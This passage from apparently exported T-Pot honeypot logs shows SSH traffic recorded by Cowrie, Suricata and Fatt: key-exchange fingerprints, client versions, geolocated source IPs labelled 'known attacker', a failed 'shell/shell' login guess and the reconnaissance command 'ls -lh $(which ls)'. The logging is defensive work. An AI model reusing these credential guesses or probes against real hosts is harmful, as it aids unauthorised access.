"cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "59e77f02430e", "@version": "1", "timestamp": "2021-09-20T11:06:19.717940Z", "@timestamp": "2021-09-20T11:06:19.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22026	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.832919+03	2021-09-20 14:15:04.403613+03	{"_id": "XgXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "10e274bbe592", "@version": "1", "duration": 2.5100345611572266, "timestamp": "2021-09-20T11:06:19.832919Z", "@timestamp": "2021-09-20T11:06:19.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22027	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.960855+03	2021-09-20 14:15:04.404612+03	{"_id": "XwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:19.960855Z", "@timestamp": "2021-09-20T11:06:19.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22028	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.961413+03	2021-09-20 14:15:04.405613+03	{"_id": "YAXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:19.961413Z", "@timestamp": "2021-09-20T11:06:19.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22030	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.964097+03	2021-09-20 14:15:04.408613+03	{"_id": "YgXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ca30ea541b77", "@version": "1", "timestamp": "2021-09-20T11:06:19.964097Z", "@timestamp": "2021-09-20T11:06:19.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22031	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.983551+03	2021-09-20 14:15:04.409613+03	{"_id": "YwXiAnwBvYTbRNuEpP34", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [shell/shell] failed", "session": "2759bab7190a", "@version": "1", "password": "shell", "username": "shell", "timestamp": "2021-09-20T11:06:19.983551Z", "@timestamp": "2021-09-20T11:06:19.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22032	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:19.939364+03	2021-09-20 14:15:04.410612+03	{"_id": "ZAXiAnwBvYTbRNuEp_26", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1361697556911080, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34476, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.939364Z", "@timestamp": "2021-09-20T11:06:19.939Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22033	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:20.412867+03	2021-09-20 14:15:04.411612+03	{"_id": "ZgXiAnwBvYTbRNuEp_26", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 495782757866622, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39736, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.412867Z", "@timestamp": "2021-09-20T11:06:20.412Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22034	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:20.581857+03	2021-09-20 14:15:04.412614+03	{"_id": "ZwXiAnwBvYTbRNuEp_26", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2007744390129465, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41636, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.581857Z", "@timestamp": "2021-09-20T11:06:20.581Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22035	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.551154+03	2021-09-20 14:15:04.413613+03	{"_id": "aAXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:48124 (192.168.176.2:22) [session: dad9cdc78955]", "session": "dad9cdc78955", "@version": "1", "protocol": "ssh", "src_port": 48124, "dest_port": 22, "timestamp": "2021-09-20T11:06:20.551154Z", "@timestamp": "2021-09-20T11:06:20.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22036	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.330586+03	2021-09-20 14:15:04.414612+03	{"_id": "awXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5022bd2f354b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:20.330586Z", "@timestamp": "2021-09-20T11:06:20.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22037	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:20.139218+03	2021-09-20 14:15:04.415614+03	{"_id": "bQXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ad36bfa95a36", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:20.139218Z", "@timestamp": "2021-09-20T11:06:20.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22038	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:21.030407+03	2021-09-20 14:15:04.417613+03	{"_id": "cAXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "a7a012468805", "@version": "1", "duration": 6.482404708862305, "timestamp": "2021-09-20T11:06:21.030407Z", "@timestamp": "2021-09-20T11:06:21.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22039	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:19.939643+03	2021-09-20 14:15:04.418614+03	{"_id": "dAXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34476, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.939643", "@timestamp": "2021-09-20T11:06:19.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22040	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:20.413376+03	2021-09-20 14:15:04.419613+03	{"_id": "dQXiAnwBvYTbRNuEqP3d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": 